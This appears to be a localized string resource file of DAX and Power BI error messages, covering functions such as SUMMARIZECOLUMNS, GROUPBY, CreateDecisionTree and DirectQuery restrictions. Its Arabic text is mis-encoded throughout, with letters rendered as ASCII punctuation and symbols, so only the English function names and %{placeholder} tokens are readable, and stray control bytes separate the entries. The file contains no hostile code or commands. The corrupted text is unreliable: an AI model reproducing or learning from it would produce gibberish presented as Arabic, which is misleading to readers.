'DA1/J) D*-/J/ 'D%9/'/'* :J1 'DE*H'AB).LD' JECF '3*./'E 'DH8JA) ROLLUPADDISSUBTOTAL %D' AJ 'DH8JA) SUMMARIZECOLUMNS.�*B(D /'D) %{funcName/} #9E/) groupby AB7 EF 'D,/'HD 'D*J DJ3 DG' 5D). 'D,/HD'F '%{table1/}' H'%{table2/}' DGE' 5D) ((96GE' 'D".1. -'HD %2'D) 9EH/ grouby #H #/.D 9EH/K' ('D,/HD DJE+D 9EH/ *5AJ) 'DBJE.KD' *B(D 'D/'D) %{funcName/} %D' E1,9 9EH/ E$GD'K *E'EK' C*,EJ9 -3( 'D#9E/).`D' *B(D 'D/'D) %{funcName/} %D' E1,9 9EH/ E$GD'K *E'EK' #H /'D) ROLLUPGROUP C1BE H3J7) %{iArg/}.PJ,( #D' *-*HJ /'D) CrossFilter 'D.'5) (9D'B'* H'-/ DH'-/ 9DI '*,'G "'*,'G H'-/".VJ-*HJ ,/HD 'D%/.'D'* 'D.'5 ('3*/9'! 'D/'D) '%{function/}' 9DI 9// :J1 5-J- EF 'D#9E/).l'D9EH/ 'D#HD ('D,/HD 'DE-// AJ 'D'3*/9'! DD/'D) '%{function/}' DJ3 EF 'DFH9 DATE #H NUMERIC. HG0' :J1 E/9HE.�'D9EH/ 'D#.J1 ('D,/HD 'DE-// AJ '3*/9'! 'D/'D) '%{function/}' DJ3 EF 'DFH9 NUMERIC E+D INTEGER #H DOUBLE #H CURRENCY. HG0' :J1 E/9HE.LD' JECF '3*./'E 'D#9E/) 'DEH,H/) AJ /'D) FULLOUTERJOIN AJ 3J'B 9'ED 'D*5AJ).ZJ,( #F *-*HJ 'D,/'HD 'DE1AB) (@ FULLOUTERJOIN 9DI 9EH/ (FA3 'D'3E DJ*E '3*./'EG CE$41 1(7.2J,( *7(JB /'D) FULLOUTERJOIN 9DI ,/HDJF 9DI 'D#BD.-J*HB9 'D9'ED '%{operator/}' BJE*JF E3*G/A*JF./J*HB9 'D9'ED '%{operator/}' BJE) E3*G/A) H'-/).-*H,/ #C+1 EF 9('1) EVALUATE (H69 DirectQuery.9D' JECF '3*./'E /'D) IGNORE %D' AJ /'D) SUMMARIZECOLUMNS.3'%{name/}' '3E ,/HD HD' JECF '3*./'EG D*91JA E*:J1.''D9'ED 'DE1AB '%{operator/}' :J1 E/9HE.d*-/J/ 9('1) FEH0, *F($ J,( #F *3*./E *9(J1 FEH0,. 9DI 3(JD 'DE+'D '3*./'E /'D) DEFINEFORECASTMODEL.DE J*E *-EJD .H'12EJ) 'D*F($*DE J*E *-EJD EC*() .H'12EJ'* 4,1) 'DB1'1'*?*3((* .H'12EJ) 'D*-DJD'* 'DE*HB9) AJ %1,'9 .7#: '%{algoError/}'_D' JECF '3*./'E 'D/'D) DecisionTreeTarget() %D' AJ 'DE9DE) "'DG/A" DD/'D) CreateDecisionTree().fD' JECF '3*./'E 'D/'D) DecisionTreeInput() %D' AJ 'DE9DE) "%/.'D" 'D.'5) ('D/'D) CreateDecisionTree().|BJE) :J1 E*HB9) DDH3J7) COLUMNTYPE AJ 'D/'D) DecisionTreeInput(). 'DBJE 'DE3EH- (G' GJ: 0 (:J1 E91HA) H1 ('DA&)) H2 (E3*E1).H**HB9 'D/'D) %{funcName/} H,H/ DecisionTreeTarget() C1BE H3J7) %{iArg/}.G**HB9 'D/'D) %{funcName/} H,H/ DecisionTreeInput() C1BE H3J7) %{iArg/}.OD' JH,/ 9EH/ ('D'3E '%{name/}' D@ CreateDecisionTree() AJ FA3 'D,/HD C9EH/ G/A.t:J1 E3EH- %D' (BJE #9/'/ 5-J-) +'(*) EH,() CBJE) /H1J) DFEH0, 'D*F($. '3*./E 0 -'D 9/E H,H/ /H1J) H1 DDC4A 'D*DB'&J.+DE J*E *-EJD EC*() 'D#/H'* 'DE3'9/) DD*F($.[J,( #F *CHF 'DH3J7) 'D+'D+) D@ CreateDecisionTree() 9//K' 5-J-K' #C(1 EF 5A1 #H E3'HJK' DG.Q*-*HJ 'D/'D) IsOnOrAfter() 9DI *9(J1 1BEJ DDEB'1F) /HF H,H/ BJE) D%,1'! 'DEB'1F).F**HB9 'D/'D) %{funcName/} H,H/ DecisionTreeNode() C1BE H3J7) %{iArg/}.C**HB9 'D/'D) %{funcName/} H,H/ SplitByValues() C1BE H3J7) %{iArg/}.eD' JECF '3*./'E 'D/'D) DecisionTreeNode() %D' AJ 'DE9DE) "'DG/A" 'D.'5) ('D/'D) CreateDecisionTree().PA`D' JECF '3*./'E 'D/'D) SplitByValues() %D' AJ 'DE9DE) "'DG/A" 'D.'5) ('D/'D) DecisionTreeNode().-9'ED 'D*B3JE 'DE1AB '%{operator/}' :J1 E/9HE.N'DBJE) 'DE1AB) '%{value/}' AJ '%{funcName/}' :J1 EH,H/) AJ 'D9EH/ '%{column/}'`D' JECF '3*./'E 'D/'D) SplitByColumn() %D' AJ 'DE9DE) "'DG/A" 'D.'5) ('D/'D) DecisionTreeNode().RJECF '3*./'E 'D/'D) SplitByColumn() C%14'/ D*B3JE A1/J /'.D DecisionTreeNode() AB7�*E 'C*4'A 9EH/ 1(7 :J1 E*H'AB ('%{table/}'[%{column/}]). D' */9E 'DH8JA) '%{function/}' 9EDJ'* 'D1(7 ('3*./'E #9E/) (#FH'9 (J'F'* #H 3D3D) E.*DA).eDE J*E 'DC4A 9F #9E/) 1(7 E4*1C). **7D( H8JA) 'D1(7 '%{function/}' 9EH/ 1(7 E4*1CK' H'-/K' 9DI 'D#BD.�'OC*4A 9/) #9E/) E1*(7) EF #-/ ,'F(JG' (FA3 'D9EH/ ('%{table/}'[%{column/}]) 9DI 'D,'F( 'D".1. H-'DJK' D' */9E 'D/'D) '%{function/}' #J) -'D'* 1(7 **5D AJG' 9/) #9E/) EF #-/ ,'F(JG' (9EH/ A1/J 9DI 'D,'F( 'D".1.d'D9EH/ '%{table/}[%{column/}]' DJ3 DG 9D'B) ('D,/HD '%{maintable/}' 'DE3*./NE AJ 3J'B 4,1) 'DB1'1'*.q:J1 E3EH- %D' (BJE #9/'/ 5-J-) +'(*) EH,() CBJE) '.*('1 1,9J DFEH0, 'D*F($. '3*./E 0 -'D 9/E '3*./'E '.*('1 1,9J.C'D'.*('1 'D1,9J :J1 E9*E/ DFE'0, 'D*F($ 'D*J *6E #C+1 EF A&) H'-/).r9// 'DH3J7'* .'7&. **HB9 %{function/} ,/HD CH3J7) #HDI H3D3D) EF FB'7 'D*,'H2 CD EFGE' J1E2 %DJG (BJE) DCD 9EH/.]**HB9 %{function/} BJE) EF 'DFH9 %{type1/} CH3J7) %{arg/} DCFG' *DB* BJE) EF 'DFH9 %{type2/}.:JECF '3*./'E 'D/'D) %{func/} CE9DE) AB7 DD/'D) %{parent/}.]D' JECF *-/J/ 'D9EH/ '%{table/}[%{column/}]' C9EH/ E3*E1 D#FG DJ3 EF 'DFH9 "1BEJ" #H "*'1J.".@J-// 1BE 'DH3J7) %{arg/} 9'ED'K %6'AJK' HJ,( #F JCHF *9(J1 ,/HD.$*E *-/J/ 'D9/J/ EF 'D9H'ED 'D%6'AJ).7*E *E1J1 9// C(J1 ,/K' EF 'DH3J7'* %DI 'D/'D) %{func/}.IJ*901 %F4'! 'D,/HD %{name/}' F81K' DH,H/ ,/HD #H E*:J1 (FA3 'D'3E ('DA9D.R**HB9 'D/'D) TimeSeriesData() *HA1 BJE*J TableIndex HColumnProperty DCD 9EH/ E-//.SE9DE) TableIndex 'DEE11) %DI 'D/'D) %{funcName/} AJ 1BE 'DH3J7) %{iArg/} :J1 5'D-).WE9DE) ColumnProperty 'DEE11) %DI 'D/'D) %{funcName/} AJ 1BE 'DH3J7) %{iArg/} :J1 5'D-).8**HB9 'D/'D) %{funcName/} +'(*K' E+D 1BE H3J7) %{iArg/}.8:J1 E3EH- %D' (BJE #9/'/ 5-J-) CBJE DD*F($ FEH0, 'D*F($.t*/9E 'D/'D) GetImage() 9F'HJF URL DE.77 HTTP HC0DC E3'1'* 'DEDA'* AB7 D' J*E /9E HTTPS H9F'HJF URL DE.77'* 'DEDA'*./#1,9 HTTP 1E2 'D-'D) '%{status/}' D@ '%{URL/}'.f*B(D 'D/'D) GetImage() FH9 E-*HI 'D5H1) AB7 %D' #FG' *DB* FH9 'DE-*HI '%{contenttype/}' D@ '%{URL/}'.cD' JECF DD/'D) SubstituteWithIndex() 'DC4A 9F #9E/) E4*1C) (JF 'DE9'ED'* 'D*J JECF '3*./'EG' DD1(7.�C4A* 'D/'D) SubstituteWithIndex() 9F H,H/ #C+1 EF 5A AJ ,/HD 'DAG13 E7'(B) DD5A 'D-'DJ AJ 'D,/HD 'D#5DJ. AC1 AJ *:JJ1 *9(J1'* ,/HD 'D%/.'D D*:JJ1 #9E/) 'D1(7.5J,( #F *B9 'DBJE) 'DE&HJ) 6EF 'DF7'B 0..1 (4CD 4'ED.^J,( #F *B9 'DBJE) 'DE&HJ) 6EF 'DF7'B 1/(N+1)..N/(N+1) (4CD 4'ED (-J+ JE+D N 9// BJE 'D(J'F'*.;%{funcName/} D' J9*E/ 'D*9(J1'* EF 'DFH9 3D3D)/EF7BJ/*'1J..1J,( '3*./'E 'DH8JA) %{func/} AJ 'DB3E DEFINE AB7.KD' JECF #F JCHF *'1J. 'D(/! H*'1J. 'D'F*G'! AJ 'DH8JA) Calendar BJE) A'1:).PABD' JECF #F JB9 *'1J. 'D(/! AJ 'DH8JA) Calendar (9/ *'1J. 'D'F*G'!.E%{func/} D' J9*E/ 'D*9(J1'* EF 'DFH9 3D3D)/EF7BJ/*'1J. DDH3J7) 'DBJE.1J,( #F *CHF H37J) 'D*HB9 DDH8JA) XIRR #C(1 EF -1."*901 9DI H8JA) XIRR 'D-5HD 9DI -D./D' *H,/ F*J,) 5'D-) DDH8JA) XIRR DDBJE 'DE-//).E*901 *-/J/ F*J,) D@ XIRR F81K' D#F 'DH3J7*JF 'DBJE H'D*H'1J. A'1:*JF.FBJE) H'-/) #H #C+1 DH3J7) 'D*H'1J. 'D*J *E *E1J1G' %DI %{func/} A'1:).hJECF #F JCHF A'5D 'DH3J7) 'D+'D+) H'-/K' EE' JDJ: YEAR QUARTER MONTH WEEK DAY HOUR MINUTE SECOND.=J,( #F JCHF 'DA'5D DDH3J7) 'D#HDI AJ 'DH8JA) DATEDIFF +'(*K'.6J,( #F *CHF 'DH3J7) 'DE9/D AJ 'DH8JA) XNPV #C(1 EF -1.UJ,( #F *CHF 'DH3J7) 'D'.*J'1J) DDH8JA) CALENDARAUTO 9//K' 5-J-K' (JF 1 H12 (4CD 4'ED.VJ*901 9DI 'DH8JA) CALENDARAUTO 'D9+H1 9DI 9EH/ #3'3J EF FH9 'D*'1J. H'DHB* AJ 'DFEH0,.jJ*901 9DI 'DH8JA) CALENDARAUTO 'D9+H1 9DI *'1J. 5'D- AJ 'D#9E/) 'D#3'3J) EF FH9 'D*'1J. H'DHB* AJ 'DFEH0,.CJ,( *BJJE 'DH3J7) 'D'.*J'1J) DDH8JA) CALENDARAUTO D*5(- BJE) +'(*).DD' JECF '3*./'E SummarizeColumns() HAddMissingItems() AJ G0' 'D3J'B.PA�J,( *-/J/ CURRENTGROUP() DJ5(- H37J) 'D,/HD DH8JA) *,EJ9 ,/HD 9F/ *-/J/G CH3J7) 'D*9(J1 DDH8JA) GROUPBY(). 9DI 3(JD 'DE+'D GROUPBY(Sales, Geography[Country], 'Total Sales', SUMX(CURRENTGROUP(), Sales[Price] * Sales[Qty]))U:J1 E3EH- (A-H5'* 'D,/HD (.D'A E' B/E*G 'DH8JA) GroupBy() B(D 'DH8'&A CurrentGroup().HD' JECF '3*./'E 'DH8JA) %{function/} AJ H3J7) 'D*9(J1 DDH8JA) GROUPBY().q'DE9DE) 'D+'FJ) 'D*J *E *E1J1G' %DI 'DH8JA) %{funcName/} :J1 5'D-). 'D1,'! *-/J/ 0 DH-/) 'D.7H) #H 1 D-,E 'D.7H).m#4'1 'D'3*9D'E %DI 'D,/HD 'DE-3H( '%{table/}' 'D0J D' J-ED #J) (J'F'* D#FG (-',) %DI %9'/) 'D-3'( #H 'D*-/J+.d#4'1 'D'3*9D'E %DI 'D,/HD 'DE-3H( '%{table/}' 'D0J D' J-ED #J) (J'F'* DH,H/ .7# AJ 'D*9(J1 'D.'5 (G.l#4'1 'D'3*9D'E %DI 'D,/HD 'DE-3H( '%{table/}' 'D0J D' J-ED #J) (J'F'* F81K' D-/H+ .7# (3(( *BJJE #-/ 'D5AHA.s#4'1 'D'3*9D'E %DI 'D,/HD 'DE-3H( '%{table/}' 'D0J J9*E/ 9DI 9EH/ #H ,/HD #H 9D'B) #H EB'JJ3 #.1I DJ3* (-'D) 5'D-).bD' JECF '3*./'E 'DH8JA) ROLLUPISSUBTOTAL %D' AJ E9DE'* groupBy_ColumnName DDH8JA) ADDMISSINGITEMS.T'DH8JA) ROLLUPISSUBTOTAL **HB9 #F JCHF '%{column/}' 9EH/K' EF FH9 'D(J'F'* 5H'(/.7#.='DH8JA) ADDMISSINGITEMS **HB9 ,/HD'K AJ 'DH3J7) 1BE %{iArg/}.YJ,( #F JCHF 'D9EH/ ShowAll DDH8JA) ADDMISSINGITEMS E$GD'K *E'EK' AJ 'DH3J7) 1BE %{iArg/}.\'D9EH/ ShowAll DDH8JA) ADDMISSINGITEMS :J1 EH,H/ D#F 'D9EH/ GroupBy AJ 'DH3J7) 1BE %{iArg/}.7B/ J6E '3*/9'! DiscoverAmbiguity 9('1) *BJJE H'-/) AB7.O**HB9 'DH8JA) %{func/} *9(J1 E1,9 D9EH/ #H *9(J1 E1,9 D,/HD DDH3J7) '%d{arg/}'.I**HB9 'DH8JA) %{func/} *9(J1 E1,9 D9EH/ #H *9(J1 ,/HD DDH3J7) '%d{arg/}'.PAGC'F GF'C E14- H'-/ 9DI 'D#BD C(J1 ,/K' DJ*E 'D*FAJ0 AJ H69 DirectQuery.v*,'H2* E,EH9) F*'&, 'D'3*9D'E DE5/1 'D(J'F'* 'D.'1,J 'D-/ 'D#B5I DD-,E 'DE3EH- (G 'D0J J(D: '%{threshold/}' EF 'D5AHA.Q'D/'D) '%{funcName/}' D' */9E 1(7 9EH/ ('DFH9 %{type1/} E9 9EH/ ('DFH9 %{type2/}.XD' JECF *FAJ0 'D*9(J1 AJ E5/1 'D(J'F'* 'D(9J/ -J+ D' JECF *FAJ0 '%{funcName/}' 9F (O9/.\'D/'D) '%{funcName/}' :J1 E3EH- (G' C,2! EF *9(J1'* DAX DD9EH/ 'DE-3H( AJ FE'0, DirectQuery.�*4*ED H3J7) 'D/'D) '%{name/}' 9DI FH9 (J'F'* :J1 5-J- #H #F F*J,*G' #C(1 #H #5:1 (C+J1 EF 'D-/ 'DE9JF. %0' E' C'F 'DE*HB9 EF 'DH3J7) #F *CHF *'1J.K' AJ,( #F JB9 G0' 'D*'1J. (JF 1 JF'J1 100 H31 /J3E(1 9999.7'DH8JA) '%{funcName/}' :J1 E/9HE) AJ 'DH69 DirectQuery.E'DH8JA) '%{funcName/}' :J1 E/9HE) AJ G0' 'D3J'B AJ 'DH69 DirectQuery.[:J1 E3EH- ('DH8JA) '%{funcName/}' C,2! EF *9(J1 'D#E'F 9DI E3*HI 'D5A AJ FE'0, DirectQuery.>'DBJE) 'D+'(*) '%{value/}' :J1 E/9HE) AJ E5/1 'D(J'F'* 'D(9J/.�'D*9(J1'* 'D1BEJ) DD/'D) '%{funcName/}' J,( #F *4*ED 9DI /'D'* *,EJ9 9(1 CurrentGroup(). HJ,( #F JCHF 'D*9(J1 'D.'5 (CD *,EJ9 %E' +'(*K' #H J4J1 E('41) %DI 'D#9E/) 'DEH,H/) AJ CurrentGroup().='D/'D) '%{funcName/}' D' */9E DistinctCount D#FG' *9(J1 1BEJ.FTOPNSKIP :J1 E/9HE (E,EH9) 'DE9DE'* 'DE-//). 'D1,'! E1',9) H+'&B MSDN.'TOPNSKIP :J1 E/9HE AJ 'DH69 DirectQueryyD' JECF '3*./'E E1,9 'D9EH/ %DI '%{column/}' AJ 'D,/HD '%{table/}' E9 *:J1 '%{variationColumn/}' F81K' D9/E H,H/ #J EFG'.XDE J*E 'D9+H1 9DI 9EH/ 'D*:J1 '%{variation/}' DD9EH/ '%{column/}' AJ 'D,/HD '%{table/}'.�D' JECF *-/J/ BJE) A1/J) DD*:J1 '%{variation/}' DD9EH/ '%{column/}' AJ 'D,/HD '%{table/}'. JECF #F J-/+ G0' 9F/E' *4J1 /'D) BJ'3 %DI 9EH/ J-*HJ 9DI 'D9/J/ EF 'DBJE /HF *-/J/ *,EJ9 E+D #/FI #H #B5I #H 9// #H E,EH9 DD-5HD 9DI F*J,) A1/J).YD' JECF '3*./'E 9D'E) 'D*:J1 '%{variation/}' DDEBJ'3 '%{measure/}' AJ 'D,/HD '%{table/}'.aJ*901 'D9+H1 9DI 'D*:J1 '%{variation/}' DD9EH/ '%{column/}' #H B/ D' J*E '3*./'EG AJ G0' 'D*9(J1.N:J1 E3EH- ('D'3E 'DE$GD '%{table/}[%{column/}].[%{variation/}]' AJ G0' 'D3J'B.o'D9EH/ column '%{table/}[%{column/}].[%{variation/}]' :J1 EH,H/ #H D' J6E 9D'B) (#J ,/HD E*'- AJ 'D3J'B 'D-'DJ.8'DH8JA) '%{funcName/}' :J1 E*'-) DDFE'0, E*9//) 'D#(9'/.�'3*9D'E'* DAX :J1 E3EH- (G' 9DI G0' 'DFEH0, 'DE*9// 'D#(9'/ D#F 'D96H 'D'A*1'6J '%{CubeDim/}'.'%{Attr/}' 96H E-3H( '%{MemName/}'. J1,I 'D'*5'D ('DE3$HD #H 'DE7H1 %0' C'F 'DFEH0, J-*', %DI /9E '3*9D'E'* DAX.jDE J*E 'D9+H1 9DI 'D*:J1 '%{variation/}' DD9EH/ '%{column/}' 'DE-// AJ 'DH8JA) '%{func/}' AJ ,/HD 'D%/.'D.�H',G 'D'3*9D'E 9H'ED *5AJ) #E'F AJ 9D'B) ,/HD D' JECF *3HJ*G' DDE3*./E 'D-'DJ. 'D1,'! 'D'*5'D ('DE3$HD #H 'DE7H1 D/JC DE1',9) 96HJ'* 'D/H1 H*91JA'* 'D#E'F.�JF*EJ 'DE3*./E %DI #/H'1 E*9//) '%1[%{strRole/}%]%[, %{strRole/}%]' *6E 9H'ED *5AJ) #E'F HGJ :J1 E/9HE) 9F/E' J-*HJ #-/ 'D#/H'1 9DI 9H'ED *5AJ) *$+1 9DI 'D,/HD '%{tablename/}' 'D0J J6E 'D9D'B'* SecurityFilteringBehavior=Both.U9// 'DH3J7'* :J1 5'D-. J,( #F *6E 'DH8JA) %{function/} BJE) DCD 9EH/ AJ *9(J1 'D,/HD.D' JECF #F *CHF 'DE,EH9) A'1:).4J,( #F *6E CD E,EH9) AJ EF4& 'D,/HD FA3 9// 'D#9E/).0D' JECF #F J-*HJ EF4& 'D,/HD 9DI H3J7) '.*J'1J).@*E ('DA9D '3*./'E '3E 'D9EH/ [%{column/}] AJ 'D,/HD "%{table/}".�*901 'D9+H1 9DI *-EJD 2'&/ 5'D- DDH8JA) ('%{funcName/}') 'D*J *#.0 B'&E) 'DE9DE'* 'DE-//). 'D1,'! 'D*-BB EF 'D'3*./'E H%9'/) 'DE-'HD).k%1['%{exception/}'%]%[;'%{exceptioninner/}%']. *E 916 '3*+F'! :J1 E*HB9 9(1 'DA&) ExtensionDiscoveryHelper.D**HB9 'D/'D) '%{funcName/}' #F JCHF 1BE H3J7*G' %{iArg/} BJE) +'(*).	%{error/}T#1,9* /'D) EC*() 'DED-B ('%{funcName/}') (J'F'* DE J*E 'D9+H1 9DJG' AJ 9EH/ 'DB'9/).tAJ 'DH8JA) %{funcName/} D' J*7'(B 9// #9E/) 'D%.1', (%{outputCols/}) E9 9// 'D#9E/) AJ ,/HD 'D%/.'D (%{inputCols/}).I**HB9 'DH8JA) %{funcName/} E1,9 9EH/ E$GQD'K ('DC'ED C1BE H3J7) %{iArg/}./'DH8JA) '%{name/}' D' *O1,9 #-1A XML :J1 5'D-)./FB7) 'D*9DJE) 'D(1E,J) :J1 E*H'AB) E9 -1A 5'D-./'D%/.'D 'DE-// D' */9EG 'DH8JA) '%{function/}'.r**HB9 'D/'D) '%{function/}' '.*J'1K' B1J(K' 9F/E' D' JCHF 9EH/ 'D*'1J. A1J/K' #H J6E A,H'* #H J-*HJ 9DI ,2! 'DHB*.r**HB9 'D/'D) '%{function/}' '.*J'1K' B1J(K' 9F/E' J#*J 9EH/ 'D*'1J. EF ,/HD 9DI ,'F( H'-/ EF 9D'B) +F'&J) 'D'*,'G.
%{errortext/}IJ*901 'D9+H1 9DI E5/1 'D(J'F'* '%{datasource/}' AJ 'D/'D) '%{funcName/}'.RJ*901 '3*./'E 'D,/HD '%{table/}' AJ 'D9EDJ'* 'D-3'(J) D#FG D' J-*HJ 9DI #J) #9E/).ZD' JECF #F J-*HJ 'D,/HD '%{table/}' 9DI #9E/) 8'G1J) (E' #FG D' J-*HJ 9DI #J) #9E/) 9'/J).X**7D( 'D/'D) SampleAxisWithLocalMinMax *-/J/ 'D-/ 'D#/FI DD/B) 9F/ 'DH3J7) 1BE %{iArg/}.w**7D( 'D/'D) SampleAxisWithLocalMinMax #F *CHF E9DE) 'DE-H1 (9F/ 'DH3J7) 1BE %{iArg/}) E1,9 9EH/ 1BEJ EF 'D,/HD 'DE-//.x**7D( 'D/'D) SampleAxisWithLocalMinMax #F *CHF E9DE) 'DEBJ'3 (9F/ 'DH3J7) 1BE %{iArg/}) E1,9 9EH/ 1BEJ EF 'D,/HD 'DE-//.**7D( 'D/'D) SampleAxisWithLocalMinMax #F *CHF E9DE) 'D3D3D) 'D/JF'EJCJ) (9F/ 'DH3J7) 1BE %{iArg/}) E1,9 9EH/ EF 'D,/HD 'DE-//.y**7D( 'D/'D) SampleAxisWithLocalMinMax *-/J/ BJE) *9/'/ 5'D-) DE9'JJ1 *-/J/ 'D3D3D) 'D/JF'EJCJ) 9F/ 'DH3J7) 1BE %{iArg/}.W**HB9 'D/'D) SampleAxisWithLocalMinMax *-/J/ BJE) E9DE) 1BEJ) EH,() DDH3J7) %{strArg/}.e**HB9 'D/'D) SampleAxisWithLocalMinMax #F JCHF 'D-/ 'D#B5I DD/B) #C(1 EF 'D-/ 'D#/FI DD/B) #H J3'HJG.LD' J/9E E5/1 'D(J'F'* 'D(9J/ ,/HD 'DA-5 "%{table/}" /HF 'D*,EJ9 -3( 'D#9E/).ND' JECF #F *-*HJ H8JA) GenerateSeries 9DI IncrementValue #BD EF 5A1 #H *3'HJG.9D' JECF #F *CHF 'DH3J7'* AJ 'DH8JA) GenerateSeries A'1:).JJ,( #F *CHF 'DH3J7'* AJ 'DH8JA) GenerateSeries EF 'DFH9 1BEJ #H *'1J./HB*.WD' JECF #F *-*HJ 'DH8JA) GenerateSeries 9DI IncrementValue DDA'5D) 'D9'&E) #BD EF 1E-6.@'DH8JA) GenerateSeries DJ3* /BJB) D@ IncrementValue 'D5:J1) G0G.\D' JECF #F *-*HJ 'DH8JA) GenerateSeries 9DI IncrementValue DD*'1J. H'DHB* #BD EF EDDJ +'FJ).S*H,/ H3J7) H'-/) 9DI 'D#BD AJ 'DH8JA) GenerateSeries *E+D 1BE A'5D) 9'&E) :J1 5'D-.o**7D( 'D/'D) SampleCartesianPointsByCover #F *CHF E9DE) 'D%-/'+J'* (9F/ 'DH3J7) 1BE %{iArg/}) *9(J1 /'D) 1BEJ).n**7D( 'D/'D) SampleCartesianPointsByCover #F *CHF E9DE) F5A 'DB71 (9F/ 'DH3J7) 1BE %{iArg/}) *9(J1 /'D) 1BEJ).Z**HB9 'D/'D) SampleCartesianPointsByCover *-/J/ BJE) E9DE) 1BEJ) EH,() DDH3J7) %{strArg/}.i**HB9 'D/'D) SampleCartesianPointsByCover *HA1 MaxMinRatio CH3J7) %{iArg/} F81K' D#FC -//* 9EH/ F5A B71.k**HB9 'D/'D) SampleCartesianPointsByCover *HA1 MaxBlankRatio CH3J7) %{iArg/} F81K' D#FC -//* 9EH/ F5A B71.b-/+ .7# E' AJ .H'12EJ) #.0 'D9JF'*. *901 9DJF' 'D9+H1 9DI 9JF) EF'3() .D'D B/1 E9BHD EF 'DE-'HD'*.`**HB9 'D/'D) SampleCartesianPointsByCover *-/J/ BJE) E9DE) 1BEJ) #C(1 EF 1 DDH3J7) %{strArg/}.UJ6E ,/HD 'D%/.'D SampleCartesianPointsByCover 5AHA 9/J/). F/9E E' J5D %DI %{strArg/}.7.7# /'.DJ: (-+ 9F (J'F'* :J1 5'D-) AJ *.2JF E$B* EOC/3.MJECF #F *CHF BJE) 'DEO-/P/ AJ 'D/'D) COMBINEVALUES 3D3D) :J1 A'1:) +'(*) AB7.I.7# AJ 'D-3'( AJ 9F51 'D9EDJ) 'D-3'(J) '%{table/}'[%{calculationitem/}]: PAID' J*HA1 E1,9 EBJ'3 AJ 'D3J'B 'D-'DJ DJ*E *7(JBG 9DI #FG SELECTEDMEASURE.,.7# /'.DJ: C'&F 'D'3*9D'E (G .7# AJ 'D*(9J).PD' JH,/ #J E1,9 EBJ'3 AJ 'D3J'B 'D-'DJ JECF '3*./'EG (H'37) SELECTEDMEASURENAME.ND' JH,/ #J E1,9 EBJ'3 AJ 'D3J'B 'D-'DJ JECF '3*./'EG (H'37) ISSELECTEDMEASURE.,H3J7'* %/.'D :J1 5'D-) D@ ISSELECTEDMEASURE.�H3J7'* %/.'D :J1 5'D-) DD/'D) ISSELECTEDMEASURE. D' *9ED ISSELECTEDMEASURE %D' E9 EB'JJ3 'DFEH0,. 'DEBJ'3 [%{measure/}] DJ3 EBJ'3K' E91AK' AJ FEH0,C 'D,/HDJ.5J,( #F *-// 'DH3J7) 'D+'FJ) D@ '%{function/}' 9EH/K'.JD' JECF '3*./'E 'D/'D) NONVISUAL %D' C9'ED *5AJ) BJE) D@ SUMMARIZECOLUMNS.7J*901 *7(JB 'D/'D) NONVISUAL 9DI #9E/) /HF 'D*,EJ9 -3(.2E9DE) E,EH9) 'D5AHA :J1 E/9HE) AJ *9(J1 'D'3*9D'E.9'D/'D) APPROXIMATEDISTINCTCOUNT D' J/9EG' 'D*CHJF 'D-'DJ.AJ*E /9E DEFINE TABLE DDFE'0, 'D,/HDJ) 0'* E3*HI *H'AB 1200 H#9DI.?J,( #F *-*HJ 'D/'D) ALLCROSSFILTERED 9DI E1,9 ,/HD H'-/ CE9DE)._D' JECF '3*./'E 'D/'D) ALLCROSSFILTERED C*9(J1 ,/HD. JECF #F *8G1 C9'ED *5AJ) AB7 AJ CALCULATE.`D' JECF '3*./'E 'D/'D) ALL (/HF 'DE9DE'* C*9(J1 ,/HD. JECF #F *8G1 C9'ED *5AJ) AB7 AJ CALCULATE.mD' JECF #F J4J1 9EH/ E-3H( #H *9(J1 'D#E'F 9DI E3*HI 'D5A AJ ,/HD DirectQuery %DI ,/'HD EF E5/1 (J'F'* E.*DA.PA{DE J9/ E3EH-K' (9/ 'D"F (*,'H2 E*:J1'* 'DEC9( 'D1,'! 'D*#C/ EF *9JJF .'5J) DataSourceVariablesOverride AJ 'DFEH0, 'D,/HDJ.a*E 'D*B'7 '3*+F'! A'/- 9F/ %F4'! *3D3D DEB'JJ3 'D'3*9D'E %DI JSON. 13'D) 'D.7#: %{exceptionWhat/}X:J1 E3EH- ('D9/J/ EF 'DH3J7'* AJ 'D/'D) ALLSELECTED 9F/E' *CHF 'DH3J7) 'D#HDI E1,9 ,/HD.T*E* %3'!) '3*./'E SELECTEDMEASUREFORMATSTRING. D' J*HA1 E1,9 EBJ'3 AJ 'D3J'B 'D-'DJ.]'D/'D) DAX 'D*J *E *FAJ0G' EB'(D 'DFEH0, E*9// 'D#(9'/ D' */9E '%{columnrole/}' CH3J7) %/.'D.dJ*901 %F4'! 'D9EH/ '%{column/}' AJ 'D,/HD '%{table/}' F81K' D9/E /9E 'D9EH/ 'DE-3H( DF7'B 'D'3*9D'E.l#4'1 'D'3*9D'E %DI ,/HD E,EH9) 'D-3'( '%{table/}' 'D0J D' J-ED #J (J'F'* D#FG (-',) %DI %9'/) -3'( #H *-/J+.mJ,( #F *8G1 CD #9E/) EA*'- E1CQ( AJ '3*9D'E TreatAs 'D9EH/ '%{column/}' 'DEH,H/ AJ 'D,/HD '%{table/}' EABH/.I.7# AJ 'D-3'( AJ 9F51 'D9EDJ) 'D-3'(J) '%{table/}'[%{calculationitem/}]: WJ*901 %F4'! 'DEBJ'3 '%{measure/}' F81K' DH,H/ *9'16 AJ 'D'3E E9 EBJ'3 /'.DJ E-,H2 ".1.S'D41J-) AJ 9EH/ E,EH9) 'D-3'( '%{table/}'[%{column/}] *4J1 %DI 9F51 -3'( :J1 EH,H/.Q**7D( 'D41J-) AJ 9EH/ E,EH9) '%{table/}'[%{column/}] *-/J/ 9F51 -3'( H'-/ ('D6(7.�*91JA 3D3D) *F3JB :J1 5'D- D9F51 'D-3'( '%{calculationItem/}' AJ 'D,/HD '%{table/}'. J,( #F J-*HJ *91JA 3D3D) 'D*F3JB 9DJ *9(J1 DAX ('DFH9 3D3D).\D' JECF '3*./'E 'D/'D) REMOVEFILTERS C*9(J1 ,/HD. JECF #F *8G1 C9'ED *5AJ) AB7 AJ CALCULATE.YD' *9ED '3*9D'E'* DAX Evaluate %D' 9DI BH'9/ 'D(J'F'* 'D*J *-*HJ 9DI ,/HD H'-/ 9DI 'D#BD.V*E 1A6 'D%0F AJ 9F51 'D-3'( '%{table/}'[%{calculationItem/}] D#FG J4J1 %DI C'&F E$EQF.,'D9EH/ '%{column/}' :J1 EH,H/ AJ '3*,'() DQ.A4D AJ *GJ&) XEvent.A4D *CHJF ,D3) 9ED XEvent.A4D AJ %:D'B ,D3) XEvent.:J9*E/ EDA **(9 XEvent ED-B'* 'DEDA 